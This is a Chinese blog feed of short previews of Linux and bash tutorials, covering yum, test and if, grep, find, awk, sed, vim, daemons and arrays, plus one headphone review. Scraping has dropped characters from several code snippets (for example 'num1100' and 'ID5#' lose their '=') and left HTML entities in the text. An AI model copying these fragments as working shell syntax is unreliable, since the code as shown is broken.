操作系统版本&#xff1a;RHEL6.9。 今天本人在使用yum命令时&#xff0c;发现linux终端报出了如下错误&#xff1a; yum: Command not found. 解决该问题最彻底的方法是卸载并重新安装yum相关软件包。 1. 使用rpm命令查看当前操作系统中安装了哪些yum相关软件包 rpm -qa …

linux bash中 test命令详解

test命令用于检查某个条件是否成立。它可以进行数值、字符和文件三方面的测试。 1、数值测试 -eq 等于-ne 不等于-gt 大于-ge 大于或等于-lt 小于-le 小于或等于 例如&#xff0c;我们可以测试两个变量是否相等&#xff1a; num1100 num2200 if test $num1 -eq $num2 thene…

Shell脚本之if的用法

Shell脚本之if的用法 1、if语句的格式2、if语句的conditon介绍3、应用举例 1、if语句的格式 1&#xff09; if-elif-else语法格式 if [ condition1 ]; then # 执行条件1的代码块 elif [ condition2 ]; then # 执行条件2的代码块 else # 执行条件都不满足时的代码块 …

shell脚本实现读取excel表格数据的功能

要实现读取Excel表格的功能&#xff0c;可以使用ssconvert工具将Excel文件转换为CSV格式&#xff0c;然后要实现读取Excel表格的功能&#xff0c;可以使用ssconvert工具将Excel文件转换为CSV格式&#xff0c;然后使用awk、grep等命令处理CSV文件。以下是一个简单的示例&#xf…

Linux CentOS7命令及命令行

Linux CentOS7中命令及命令行是非常重要的概念。对大多数初学者来说是既熟悉又了解甚少。本文初步讨论这方面的内容&#xff0c;与同行者交流。 一、命令 命令又称为指令&#xff0c;&#xff08;英语命令 command&#xff0c;可用简写cmd表示&#xff09;&#xff0c;在终端…

Linux CentOS7 vim重复行

在用vim编辑处理文件时&#xff0c;会有重复行。有的是情境需要&#xff0c;有的可能是误操作而形成。对于正常形成的重复行&#xff0c;我们不作讨论&#xff0c;我们仅讨论什么情况下会出现重复行&#xff0c;如何避免&#xff0c;如何处理。 在文件中的单行或多个连续空白行…

Linux 进程管理指南

目录 1、查看进程 2、启动进程 3、后台运行进程 4. 暂停和恢复进程 5. 终止进程 6. 查找进程信息 Linux 进程是操作系统中运行的程序的实例。每个进程都有自己的内存空间和执行环境&#xff0c;它们彼此隔离&#xff0c;以确保安全性和稳定性。在 Linux 中管理进程是非常…

Linux CentOS7 awk的反转功能

处理文本文件&#xff0c;经常会遇到反向输出的要求。 可用命令rev对待处理的文件或标准输入快速完成。 可用命令tac对文件快速完成反向查看。 而对行中字符串(单词)可借助其他命令达到反向输出的目标。 我们在文章《Linux CentOS7sed的替换及逆转功能》讨论了sed流编辑器对…

Linux CentOS7 vim多窗口编辑

我们在用vim编辑文件时&#xff0c;有各种需求。如有时需要在多个文件之间来回操作&#xff0c;一会关闭一个文件&#xff0c;一会再打开另外一个文件&#xff0c;这样来回操作显得太笨拙。有时&#xff0c;vim编辑多行的大文件&#xff0c;来回查看、编辑前面一部分及最后一部…

Editors(Vim)

文章目录 Editors(Vim)学哪一个编辑器&#xff1f;Vim Philosophy of VimModal editing 模态编辑Basics 基础知识Inserting text 插入文本Buffers, tabs, and windows 缓冲区、选项卡和窗口Command-line 命令行 Vim’s interface is a programming language. Vim的接口是一种编…

运动跑步耳机哪个牌子好、值得推荐的运动耳机

作为一位热衷于运动的爱好者&#xff0c;对于运动装备的要求十分严格。家里有很多手环和跑鞋&#xff0c;但在跑步时最喜欢的是听歌。一首好曲子能够改善跑步体验&#xff0c;延缓疲劳感。当然&#xff0c;并非所有的耳机都适合运动使用&#xff0c;选择运动耳机时需要考虑到运…

xargs如何保留文本中的引号

如果文本中有引号&#xff0c;直接用xargs管道操作的话&#xff0c;引号会丢失&#xff0c;如下 该如何保留每一行文本中的引号呢&#xff0c;需要用到xargs的-d选项&#xff0c;设置一个分隔符&#xff0c;这里可以选用换行符来分割 顺便多来一条&#xff0c;直接将文本参数作…

详解eval

eval 是 shell 内建的一个命令。 它的主要作用是&#xff1a; 对其输入参数做2次解析第1次解析是相关变量的替换第2次解析就是把第1次的解析结果交给shell去执行 eval 的常见用法 下面一段代码包含了 eval 的三种常见用法。 ID5# 给变量赋值 eval TEST_CASE_${ID}1005# 获取…

【linux命令讲解大全】103.Linux目录堆栈命令 dirs 的使用方法和选项详解

文章目录 dirs概要主要用途选项参数返回值例子注意 从零学 python dirs 显示目录堆栈。 概要 dirs [-clpv] [N] [-N] 主要用途 显示目录堆栈。 清空目录堆栈。 选项 -c&#xff1a;清空目录堆栈。-l&#xff1a;堆栈内以~开头的目录在显示时展开。-p&#xff1a;将目录堆…

shell脚本之grep命令

shell脚本之grep命令 grep参数介绍例子 grep参数介绍 grep 是一个在 Shell 脚本中常用的命令&#xff0c;用于在文本文件中查找匹配指定模式的行。它的基本语法如下 grep [选项] 模式 [文件...]其中&#xff0c;选项 是可选的&#xff0c;可以用来指定一些额外的参数&#xf…

arm day2(9.15)数据操作指令,跳转指令,特殊功能寄存器指令,

作业 1.求最大公约数&#xff1a; .text .global _start _start:mov r0,#0x9mov r1,#0x15bl Loop Loop:cmp r0,r1 比较r0寄存器和r1寄存器的中的值beq stop 当两数相同时,退出程序subhi r0,r0,r1 r0>r1 r0 r0 - r1subcc r1,r1,r0 r0<r1 r1 r1 - r0mov pc,lr 恢复现…

Bash脚本自学 - 变量和位置自变量

变量 在hellothere.sh文件里&#xff0c; #!/bin/bashFIRST_NAMEHerbert LAST_NAMELindemans echo Hello $FIRST_NAME $LAST_NAME在指令行输入&#xff1a; chmod ux hellothere.sh (授予这个文件所属者执行的权限) ./hellothere.sh 输出为&#xff1a; Hello Herbert Lindem…

自动监控网站可用性并发送通知的 Bash 脚本

在现代的互联网世界中&#xff0c;网站的可用性对于业务的成功至关重要。如果您是一个网站管理员或负责监控网站运行状况的工程师&#xff0c;那么您知道及时发现并解决问题对于确保用户满意度至关重要。如何使用 Bash 脚本来监控多个网站的可用性&#xff0c;并在网站出现问题…

Linux centos7 bash编程训练

训练编写一段代码&#xff0c;打印输出100之内的明7暗7&#xff0c;同时要求每5个数字打印在一行。 此项训练主要是考察for循环的使用&#xff0c;及条件判断表达式的设置和不同写法的应用。 常用的for循环有四种写法&#xff08;如打印1-100的整数&#xff09;&#xff1a; …

bash一行输入,多行回显demo脚本

效果图&#xff1a; 脚本&#xff1a; #!/bin/bash # 定义一个变量&#xff0c;用来存储输入的内容 input"" # 定义一个变量&#xff0c;用来存储输入的字符 char""# 为了让read能读到空格键 IFS_store$IFS IFS# 提示内容&#xff0c;在while循环中也有&a…

shell脚本之find命令

shell脚本之find命令 find命令格式介绍find命令参数find命令例子 find命令格式介绍 find命令是Shell脚本中非常重要的命令之一&#xff0c;它用于在文件系统中查找文件和目录。它的基本语法如下&#xff1a; find [路径] [选项] [表达式] [动作]其中&#xff1a; [路径]&…

arm day2(9.15)数据操作指令,跳转指令,特殊功能寄存器指令,+XMind

作业 1.求最大公约数&#xff1a; .text .global _start _start:mov r0,#0x9mov r1,#0x15bl Loop Loop:cmp r0,r1 比较r0寄存器和r1寄存器的中的值beq stop 当两数相同时,退出程序subhi r0,r0,r1 r0>r1 r0 r0 - r1subcc r1,r1,r0 r0<r1 r1 r1 - r0mov pc,lr 恢复现…

Bash脚本学习:AWK, SED

1. AWK AWK 是一种编程语言&#xff0c;设计用于处理文件或数据流中基于文本的数据&#xff0c;或者使用 shell 管道。 可以将 awk 与 shell 脚本结合使用或直接在 shell 提示符下使用。 以上展示使用AWK分别打印第一个位置变量和第二个位置变量。 建立一个文档 csvtest.cs…

【玩转Redhat Linux 8.0系列 | 实验—使用Bash shell执行命令】

今天继续分享一些Redhat Linux 8.0的知识&#xff0c;记得关注&#xff0c;会一直更新~ 访问命令行 任务执行清单 在本实验中&#xff0c;您将使用Bash shell来执行命令。 成果 使用Bash shell命令行成功运行简单的程序。 执行用于识别文件类型并显示文本文件部分内容的命…

Linux CentOS7 wc命令

wc命令的功能为统计指定文件中的字节数、字数、行数, 并将统计结果显示输出。 录入 man wc 可以查看相关信息 基本语法&#xff1a; wc [选项] 文件… 说明&#xff1a;该命令统计给定文件中的字节数、字数、行数。如果没有给出文件名&#xff0c;则从标准输入读取。wc同时也…

shell编程系列- bash和sh的区别

文章目录 引言bash和sh的区别CentOS下的区别Ubuntu下的区别 最佳实践 引言 我们在编写shell脚本时&#xff0c;通常第一行都要声明当前脚本的执行程序&#xff0c;也就是常见的 #!/bin/sh 或者是 #!/bin/bash &#xff0c;我们无论用哪一个脚本似乎都可以正常的执行&#xff0…

Linux解决nvcc -V出现的-bash: nvcc command not found问题

两种解决办法&#xff1a; 1、第一种直接在bashrc文件中添加本地cuda路径&#xff1a; vim ~/.bashrc 定位到内容末尾&#xff0c;最末尾 添加命令&#xff1a; export LD_LIBRARY_PATH/usr/local/cuda/lib export PATH$PATH:/usr/local/cuda/bin添加后激活 source ~/.bashrc…

Linux CentOS7 tree命令

tree就是树&#xff0c;是文件或文件名输出到控制台的一种显示形式。 tree命令作用&#xff1a;以树状图列出目录的内容&#xff0c;包括文件、子目录及子目录中的文件和目录等。 我们使用ll命令显示只能显示一个层级的普通文件和目录的名称。而使用tree则可以树的形式将指定…

批量更改文件名 - 大师汇总

在PC看到了下载的电影&#xff0c;其中名称包含了各大网络高手贡献&#xff0c;名字长很有纪念意义。 但对于播放者而言&#xff0c;无法根据文件名短时间内判断出电影名字。汗一个&#xff01; 这几天&#xff0c;大师收集更改文件名的资料并实践一把&#xff0c;列在下面。…

两台linux 之间传输文件 (详细+bash脚本)

两台linux设备文件直接传输&#xff0c;有很多应用场景 一、可能的方案 &#xff08;一&#xff09;先下载再上传 从linux通过ssh下载到windows下&#xff0c;然后再通过ssh上传到另一台linux。 1.优点&#xff1a;简单 2.缺点&#xff1a;效率低&#xff0c;需要额外的设备…

shell脚本实现守护进程

要实现一个Shell脚本作为守护进程&#xff0c;可以使用以下步骤&#xff1a; 1. 创建一个脚本文件&#xff0c;例如daemon.sh。 2. 在脚本文件中编写启动守护进程的代码。 3. 使用chmod x daemon.sh命令使脚本可执行。 4. 使用nohup ./daemon.sh &命令启动守护进程&…

Linux bash: ipconfig: command not found解决方法

安装完centos7运行ifconfig命令发现找不到 安装相关工具 yum install net-tools.x86_64 无脑yes即可

linux系统shell脚本开发之循环的使用

linux系统的shell脚本开发中&#xff0c;循环也是经常在使用到&#xff0c;这里记录下一些常用的循环的使用案例&#xff1a; 使用场景举例&#xff1a;生产存储路径使用率达86%&#xff0c;需要针对梳理出来的路径进程清理&#xff0c;且需要清理的路径非常多 建议&#xff1a…

Bash 4关联数组:错误“声明:-A:无效选项”

Bash 4 associative arrays: error “declare: -A: invalid option” 就是bash版本太低 1.先确定现在的版本 bash -version 我的就是版本太低 升级新版本bash4.2 即可 升级步骤 1.下载bash-4.2wget http://ftp.gnu.org/gnu/bash/bash-4.2.tar.gz 2. 下载完成解压 tar -zxvf…

linux系统查看bash的history

要输出最近的20条命令&#xff0c;可以使用history命令。在Bash终端中&#xff0c;输入以下命令即可获取最近的20条命令历史记录&#xff1a; history 20这将显示你最近执行的20条命令及其相应的行号。 要将最近的20条命令写入到一个名为 “command.txt” 的文本文件中&#…

Tmux:终端复用器的基本使用(二)

相关阅读 Tmuxhttps://blog.csdn.net/weixin_45791458/category_12472796.html?spm1001.2014.3001.5482 上一篇文章列举了一些关于tmux中会话的基本使用方法&#xff0c;但会话并非是tmux的最强大的功能&#xff0c;tmux还能在一个会话中创建多个窗口(windows)&#xff0c;并…

运行报错(三)git bash报错fatal: detected dubious ownership in repository at

报错现象 在运行git 命令时&#xff0c;出现报错 “fatal: detected dubious ownership in repository at” 报错原因 文件夹的所有者和现在的用户不一致 栗子&#xff1a; 文件夹的所有者是root&#xff0c;而当前用户是admin 解决方案 方法一、 将文件夹的所有者替换成ad…

Git(一)Windows下安装及使用Git Bash

目录 一、简介1.1 什么是Git&#xff1f;1.2 Git 的主要特点1.3 什么是 Git Bash&#xff1f; 二、下载三、安装3.1 同意协议3.2 选择安装位置3.3 其他配置&#xff08;【Next】 即可&#xff09;3.4 安装完毕3.5 打开 Git Bash 官网地址&#xff1a; https://www.git-scm.com/…

0基础2小时搭建自己的网站

​作者主页 &#x1f4da;lovewold少个r博客主页 ⚠️本文重点&#xff1a;0基础2小时搭建个人网站 &#x1f449;【C-C入门系列专栏】&#xff1a;博客文章专栏传送门 &#x1f604;每日一言&#xff1a;宁静是一片强大而治愈的神奇海洋&#xff01; 目录 前言 第一步 环境…

记录 | shell脚本开头#!/bin/bash的作用

在 Shell 脚本中&#xff0c;#!/bin/bash 是指定脚本使用 Bash 解释器的 shebang 语句。它出现在脚本的第一行&#xff0c;并告诉操作系统使用 Bash 解释器来执行该脚本 #!/bin/bash....具体作用如下&#xff1a; 指定解释器&#xff1a;#!/bin/bash 指定了使用 Bash 作为脚本…

驱动开发5 阻塞IO实例、IO多路复用

1 阻塞IO 进程1 #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <string.h>int main(int argc, char co…

策略模式在数据接收和发送场景的应用

在本篇文章中&#xff0c;我们介绍了策略模式&#xff0c;并在数据接收和发送场景中使用了策略模式。 背景 在最近项目中&#xff0c;需要与外部系统进行数据交互&#xff0c;刚开始交互的系统较为单一&#xff0c;刚开始设计方案时打算使用了if else 进行判断&#xff1a; if(…

Linux shell编程学习笔记19:until循环语句

Linux shell编程中的until语句&#xff0c;在功能上与其它编程语言一致&#xff0c;但在结构与其它编程语言又不太一样。在大多数编程语言中&#xff0c;until语句的循环条件表达式一般位于循环体语句的后面&#xff0c;但是在Linux shell编程中&#xff0c;until语句的循环条件…

Windows PowerShell 和 Linux BashShell 极简对比

声明&#xff1a;本文不会涉及原理&#xff0c;详细的介绍&#xff0c;也不是入门文章。仅仅从使用上进行简单比较 命令 在 bash 中&#xff0c;一个命令是一个单独的进程&#xff1b;而在 PowerShell 中&#xff0c;命令被称为 cmdlets&#xff0c;他们不是独立的可执行程序&…

策略模式和模板模式

这两天学习了策略模式和模板模式&#xff0c;总结一下这两种模式。 一、策略模式 策略模式的使用场景主要是同一类行为的不同实现上&#xff0c;如 不同类型的交易⽅式(信⽤卡、⽀付宝、微信)、⽣成唯⼀ID策略 (UUID、DB⾃增、DBRedis、雪花算法、Leaf算法) 策略模式主要有…

正则表达式从放弃到入门(2):grep命令详解

正则表达式从放弃到入门&#xff08;2&#xff09;&#xff1a;grep命令详解 总结 本博文转载自 这是一篇”正则表达式”扫盲贴&#xff0c;如果你还不理解什么是正则表达式&#xff0c;看这篇文章就对了。 如果你是一个新手&#xff0c;请从头阅读这篇文章&#xff0c;如果你…

在云上jupylab(codelab)常用的shell命令

1、切换当前文件目录位置&#xff1a; %cd /project/train/ 2、删除目标文件夹和文件夹下面的内容&#xff0c;注意这个r是不能少的&#xff1a; !rm -r /project/train/src_repo/dataset 3、创建数据集相关文件夹 !mkdir /project/train/src_repo/dataset 4、复制指定…

linux内的循环

格式 while 【 条件判断 】 do 语句体 done 上图 第一次代码&#xff0c;输入语句在外面&#xff0c;结果输入完&#xff08;非hello&#xff09;程序不断循环&#xff0c;没办法&#xff0c;ctrlc给程序终止了&#xff0c;然后把用户输入的语句放到了循环体里面…

【shell】

shell 一、shell简介二、shell脚本的执行方式三、shell变量3.1 shell变量介绍3.2 shell变量的定义3.1.1 基本语法3.2.2 定义变量的规则3.2.3 将命令的返回值赋予变量 四、环境变量的设置4.1 基本语法&#xff1a; 五、位置参数变量5.1 基本介绍5.2 基本语法 六、预定义变量6.1 …

shell脚本入门之【变量的定义】

&#x1f3c5;我是默&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; ​​ &#x1f31f;在这里&#xff0c;我要推荐给大家我的专栏《shell》。&#x1f3af;&#x1f3af; &#x1f680;无论你是编程小白&#xff0c;还是有一定基础的程序员&#xff0c;…

My shell

所有内容来自书籍与网络&#xff0c;如有侵权请与我联系 shell基础知识 update-rc.d开机启动脚本 cron定时任务 crontab定时任务例子

RHCE8 资料整理(五)

RHCE8 资料整理 第五篇 系统管理第18章 进程管理18.1 进程介绍18.2 查看进程18.3 向进程发送信号18.4 进程优先级 第19章 日志19.1 rsyslog的配置19.2 查看日志 第20章 网络时间服务器20.1 时间同步必要性20.2 配置时间服务器20.3 配置客户端 第21章 计划任务21.1 at21.2 cront…

Linux centos系统中添加磁盘

为了学习与训练文件系统或磁盘的分区、格式化和挂载/卸载&#xff0c;我们需要为虚拟机添加磁盘。根据需要&#xff0c;可以添加多块不同大小的磁盘。具体操作讨论如下&#xff0c;供参考。 一、添加 1.开机前 有两个地方&#xff0c;可选择打开添加硬盘对话框 (1)双击左侧…

Ubuntu 创建用户

在ubuntu系统中创建用户&#xff0c;是最基本的操作。与centos7相比&#xff0c;有较大不同。 我们通过案例介绍&#xff0c;讨论用户的创建。 我们知道&#xff0c;在linux中&#xff0c;有三类用户&#xff1a;超级管理员 root 具有完全权限&#xff1b;系统用户 bin sys a…

使用udevdm查询蓝牙模块的信息

1.首先查询蓝牙设备在系统中的设备路径 udevadm info --querypath -n /dev/ttyS1 2.查询蓝牙设备的所有信息包括父设备信息 EMUELEC:~ # udevadm info -ap /devices/platform/ffd24000.serial/tty/ttyS1 备注&#xff1a;查询设备所有信息 udevadm info --queryall -n /dev…

RHCE8 资料整理(六)

RHCE8 资料整理 第 6 篇 软件管理第 23 章 用rpm管理软件23.1 rpm查询23.2 rpm卸载23.3 软件包升级23.4 rpm验证 第 24 章 用yum/dnf管理软件包24.1 yum架构介绍24.2 用光盘搭建yum源24.3 创建私有仓库24.4 yum客户端配置24.5 yum基本使用24.5.1 查询24.5.2 安装与卸载24.5.3 下…

使用pixy计算群体遗传学统计量

1 数据过滤 过滤参数&#xff1a;过滤掉次等位基因频率&#xff08;minor allele frequency&#xff0c;MAF&#xff09;低于0.05、哈达-温伯格平衡&#xff08;Hardy– Weinberg equilibrium&#xff0c;HWE&#xff09;对应的P值低于1e-10或杂合率&#xff08;heterozygosit…

Linux终端与交互式Bash

常用的Linux终端 GNOME Terminal&#xff1a;GNOME 桌面环境下的默认终端程序&#xff0c;支持多个选项卡和配置。Konsole&#xff1a;KDE 桌面环境下的默认终端程序&#xff0c;提供了丰富的功能和选项。Terminator&#xff1a;开源的终端程序&#xff0c;支持多个可调整大小…

禁止linux shell 终端显示完整工作路径,如何让linux bash终端不显示当前工作路径

在操作linux时&#xff0c;默认安装的linux终端会显示当前完整的工作目录&#xff0c;如果目录比较短还是可以接收&#xff0c;如果目录比较长&#xff0c;就显得比较别扭&#xff0c;操作起来不方便&#xff0c;因此需要关闭这种功能。 要关闭这个功能&#xff0c;请按如下步骤…

【Linux小项目】实现自己的bash

0. bash原理介绍 bash实际上就是一个负责解析输入字符串工具. 我们需要做的事是这些: 手动分割出输入的字符串判断哪些变量是内建命令(自己执行),哪些命令是普通命令(创建子进程执行)实现的功能有: echo export cd 常规指令 输入、输出流重定向 #include<stdio.h> #i…

rsyslog学习

rsyslog是什么 RSYSLOG&#xff08;Remote System Logging&#xff09;是一个开源的日志处理工具&#xff0c;用于在 Linux 和 Unix 系统上收集、处理和转发日志。它是一个健壮且高性能的日志处理程序&#xff0c;可以替换 Syslogd 作为标准的系统日志程序。RSYSLOG 提供了许多…

【Linux】bash 终端指令

进程 $ ps aux | grep pwd work 63317 0.0 0.0 51192 612 pts/9 S 14:22 0:00 grep /home/work/search/1000000.dyenv-user-diaoyan-baiseCliPlus-baisePlus-195522.diaoyan.yq/ala-ac/output_root端口 查看本机端口开放情况 netstat -tln | grep :31 tcp …

grep笔记231128 grep的 -e , -E , -F , -G , -P 有什么区别

grep的 -e , -E , -F , -G , -P 有什么区别 grep 是一个常用的命令行工具&#xff0c;用于在文本文件中搜索匹配指定模式的行。-e、-E、-F、-G 和 -P 是 grep 的选项&#xff0c;它们具有不同的功能和用途。 -e 选项&#xff1a; grep -e pattern1 file.txt&#xff1a;仅匹配…

在awk中 sub函数 和 gsub函数 的区别

在awk中 sub函数 和 gsub函数 的区别 简单说就是正则加g和不加g的效果, sub匹配每行第一个,gsub匹配每行所有 在Awk中&#xff0c;sub函数和gsub函数都是用于字符串替换的函数&#xff0c;但它们之间存在一些区别。 sub函数&#xff1a; sub函数用于替换字符串中的第一个匹配…

【shell】文本三剑客之sed详解

目录 一、sed简介&#xff08;行编辑器&#xff09; 二、基本用法 三、sed脚本格式&#xff08;匹配地址 脚本命令&#xff09; 1、不给地址&#xff0c;那么就是针对全文处理 2、单地址&#xff0c;表示#&#xff0c;指定的行&#xff0c;$表示最后一行&#xff0c;/pattt…

Linux CentOS7 LVM

LVM&#xff08;Logical Volume Manger&#xff09;逻辑卷管理&#xff0c;Linux磁盘分区管理的一种机制&#xff0c;建立在硬盘和分区上的一个逻辑层&#xff0c;提高磁盘分区管理的灵活性。物理设备&#xff0c;是用于保留逻辑卷中所存储数据的存储设备。它们是块设备,可以是…

去除Bash 变量中的空白字符 —— 筑梦之路

echo处理 echo ${#var} 用于获取字符串变量的长度echo -n ${var} -n 使 echo 不打印末尾的换行符 echo 和 xargs处理 # 示例 #! /bin/bash var" test " var$(echo $var | xargs) echo "|${var}|"xargs 会删除字符串首尾的空白符&#xff0c;还会将…

【bash】Bash脚本基础语法学习

Bash&#xff08;Bourne Again SHell&#xff09;是一种命令行解释器&#xff0c;通常在Unix和Linux系统上使用。Bash脚本是一系列的命令&#xff0c;它们按照脚本中定义的顺序执行。以下是Bash脚本的一些基本语法&#xff1a; 1. Shebang Shebang 是脚本的第一行&#xff0c…

Linux环境变量export命令笔记231207

Linux环境变量export命令笔记231207 export定义的变量 export使变量在"子Shell"也起作用只在本控制台本次会话起效, 另开一个控制台无效关闭控制台(关闭本次会话,exit)后失效,子shell中export的变量,不会在父Shell起作用,制作子子Shell,子子孙孙Shell中起作用decla…

Shell数组函数:数组——数组和循环(二)

for脚本快速定义数组 [rootlocalhost ~]# vim for12.sh #脚本编辑 #!/bin/bash for a in cat /etc/hosts do hosts[o]$a donefor i in ${!hosts[]} do echo "$i : ${hosts[$a]}" done[rootlocalhost ~]# vim for12.sh #执行脚本区别 &#xff1a;for的空格分割…

certtool 生成自有证书

certtool 是一个用于处理X.509证书的工具&#xff0c;它是由GNU的libksba库提供的。在 Debian 10 上&#xff0c;您可以使用以下步骤来安装和使用 certtool&#xff1a; 安装 打开终端。 使用以下命令更新软件包列表&#xff1a; sudo apt update使用以下命令安装 libksba-de…

Bash脚本调用百度翻译API进行中文到英文的翻译

写一个bash脚本调用百度翻译API进行中文到英文的翻译&#xff0c;首先需要进行相关的申请。看百度给出的文档链接: 百度翻译API文档 需要先注册一个百度账号&#xff0c;然后申请APPID。脚本中会用到appid和key这两个值。按照文档给出的提示可以获得。如下是脚本&#xff1a; #…

Bash脚本处理ogg、flac格式到mp3格式的批量转换

现在下载的许多音乐文件是flac和ogg格式的&#xff0c;QQ音乐上下载的就是这样的&#xff0c;这些文件尺寸比较大&#xff0c;在某些场合使用不便&#xff0c;比如在车机上播放还是mp3格式合适&#xff0c;音质这些在车机上播放足够了&#xff0c;要求不高。比如本人就喜欢下载…

【bug】vue create 项目名,bash: vue: command not found

创建项目的时候&#xff0c;报bash: vue: command not found 一步一步排查 1、node是否安装&#xff0c;node -v 2、不是node的问题&#xff0c;试试npm install -g vue/cli&#xff0c;安装脚手架&#xff0c;其实这里是正在安装的意思&#xff0c;但是速度比较慢&#x…

hive 语句关键词 执行的优先级

在 Hive 中编写 SQL 语句时&#xff0c;各个关键词&#xff08;比如 SELECT、FROM、WHERE、GROUP BY、ORDER BY 等&#xff09;的执行顺序对于理解和优化查询非常重要。 FROM&#xff1a; 首先执行。确定要查询的表或视图。 JOIN&#xff1a; 如果有 JOIN 操作&#xff0c;它紧…

Linux中sh与bash的区别

Linux中sh与bash的区别 什么是Shell 在计算机科学中&#xff0c;Shell俗称壳&#xff08;用来区别于核&#xff09;&#xff0c;是指“为使用者提供操作界面”的软件&#xff08;command interpreter&#xff0c;命令解析器&#xff09;。它类似于DOS下的COMMAND.COM和后来的…

设计模式-策略模式(Strategy)

设计模式-策略模式&#xff08;Strategy&#xff09; 一、策略模式概述1.1 什么是策略模式1.2 简单实现策略模式1.3 使用策略模式的注意事项 二、策略模式的用途三、策略模式实现方式3.1 简单策略模式3.2 组合策略模式3.3 动态策略模式 一、策略模式概述 1.1 什么是策略模式 …

nslookup google.com -bash: nslookup: 未找到命令

您的系统似乎没有安装 nslookup 和 dig 这两个用于 DNS 查询的工具。这两个工具通常包含在 bind-utils 包中。您可以安装这个包来获取这些工具。 根据您的 Linux 发行版&#xff0c;安装方法可能会有所不同。以下是在一些常见 Linux 发行版上安装 bind-utils 的方法&#xff1…

时序处理的一些命令

gmt psconvert baseline.ps -Tf -A

Shell判断:流程控制—if(二)

一、多分支结构 1、语法&#xff1a; if 条件测试1 then 命令序列 elif 条件测试2 then 命令序列 elif 条件测试3 then 命令序列.... else 命令序列 fi 2、示例&am…

Linux shell编程学习笔记35:seq

0 前言 在使用 for 循环语句时&#xff0c;我们经常使用到序列。比如&#xff1a; for i in 1 2 3 4 5 6 7 8 9 10; do echo "$i * 2 $(expr $i \* 2)"; done 其中的 1 2 3 4 5 6 7 8 9 10;就是一个整数序列 。 为了方便我们使用数字序列&#xff0c;Linux提供了…

轻松掌控财务,分析账户花销,明细记录支出情况

随着科技的发展&#xff0c;我们的生活变得越来越智能化。然而&#xff0c;对于许多忙碌的现代人来说&#xff0c;管理财务可能是一件令人头疼的事情。复杂的账单、花销、收入&#xff0c;这些可能会让你感到无从下手。但现在&#xff0c;我们有一个全新的解决方案——一款全新…

mac控制台命令小技巧

shigen日更文章的博客写手&#xff0c;擅长Java、python、vue、shell等编程语言和各种应用程序、脚本的开发。记录成长&#xff0c;分享认知&#xff0c;留住感动。 hello伙伴们&#xff0c;作为忠实的mac骨灰级别的粉丝&#xff0c;它真的给我带来了很多效率上的提升。那作为接…

【shell】 1、bash语法超详细介绍

文章目录 修改前缀路径dirname set常用函数参数变量local 返回值正则打印第 n 行获取行号核对数据库各表数量jq查询检查日志 sshpassexpect数组xargs bash manual 修改前缀 参考 export PS1"bash> "路径 dirname strip last component from file name dir$(…

Shell判断:模式匹配:case(一)

一、前言 shell编程中if和case都是用来做流控的。 二、case语法结构 case 变量 in 模式1&#xff09; 命令序列1 ;; 模式2&#xff09; 命令序列2 ;; 模式3&#xff09; 命令序列3 ;; *) 无匹配…

部署单仓库多目录项目

部署单仓库多目录项目 文章目录 部署单仓库多目录项目1.部署单仓库多目录项目2.Shell脚本进行部署单仓库多目录项目2.1 编写Shell脚本2.2 Demo推送代码及测试 3.小结 1.部署单仓库多目录项目 #部署单仓库多目录项目 在开发过程中,研发团队往往会将一个大型项目拆分成几个子目录…

RHCE8 资料整理(七)

RHCE8 资料整理 第 7 篇 安全管理第 25 章 防火墙25.1 了解firewalld25.2 firewalld的基本配置25.3 配置firewalld的规则25.3.1 icmp-blocks25.3.2 services25.3.3 ports 25.4 富规则 第 26 章 SELinux介绍26.1 了解上下文26.2 端口上下文26.3 了解SELinux的布尔值26.4 了解SEL…

Shell循环:for(二)

一、通过用户列表文件创建用户 需求&#xff1a;通过用户列表文件创建用户 [rootlocalhost ~]# cat user.txt qian yoa huang演示&#xff1a; [rootlocalhost ~]# vim foruser.sh #编写脚本 #!/bin/bash for i in cat user.txt do useradd $i if [ $? -eq 0 ] thenech…

shell编程-date命令详解(超详细)

前言 date 命令是一个在命令行中使用的用于显示和设置系统时间的工具。它可以显示当前的日期和时间&#xff0c;也可以根据指定的格式来输出日期和时间信息。本文将详细介绍 date 命令的基本语法和常用选项&#xff0c;帮助您更好地理解和使用 date 命令。 一、date命令介绍 …

Linux(二十一)——virtualenv安装成功之后,依然提示未找到命令(-bash: virtualenv: 未找到命令)

Linux(二十一)——virtualenv安装成功之后&#xff0c;依然提示未找到命令&#xff08;-bash: virtualenv: 未找到命令&#xff09; 解决办法&#xff1a; 创建软连接 ln -s /usr/local/python3/bin/virtualenv /usr/bin/virtualenv

MySQL5.7安装与配置:自动化一键安装配置

介绍 本文介绍了一个自动化安装MySQL的Shell脚本。该脚本可以帮助用户快速安装MySQL&#xff0c;并自动进行配置和初始化。通过使用该脚本&#xff0c;用户无需手动执行繁琐的安装步骤&#xff0c;大大简化了MySQL的安装过程。 使用shell自动化安装教程 1. 复制脚本 首先&a…

Bash script进阶笔记

数组类型 arr(1 2 3) # 最基础的方式声明数组&#xff0c;用小括号()&#xff0c;元素之间逗号分隔 arr([1]10 [2]20 [3]30) # 初始化时指定index declare -a arr(1 2 3) # 用declare -a声明数组&#xff0c;小括号外面可选使用单引号、双引号 declare -a arr‘(1 2 3)’…

【bash工具】jq遍历list

jq遍历list的两种方式 方法一&#xff1a;read -r while循环 按行读取 $rows$(cat file.json | jq -rc base64) while IFS read -r line; do # IFS必须为空&#xff0c;才能正确按行处理echo $line | jq -r .ID # 获取ID字段 done < file # 读取文件内容 # done &…

shell编程-sort命令详解(超详细)

文章目录 前言一、sort命令介绍1. sort命令简介2. sort命令的基本语法3. 常用的sort命令选项4. sort命令的其他选项5. sort命令的示例用法示例1&#xff1a;按照字典顺序排序示例2&#xff1a;按照数值大小排序示例3&#xff1a;按照指定字段排序示例4&#xff1a;以逆序排序示…

.bash_history|.bashrc|.bash_logout|.profile的作用分别是啥

这些文件都是与 Bash shell&#xff08;在 Unix 和 Linux 系统上常用的命令行界面&#xff09;相关的配置文件。它们的作用如下&#xff1a; .bash_history 这是一个隐藏文件&#xff0c;存储了用户在命令行中输入的命令历史。每当用户退出 shell 时&#xff0c;新的命令历史…

Shell编程基础 – C语言风格的Bash for循环

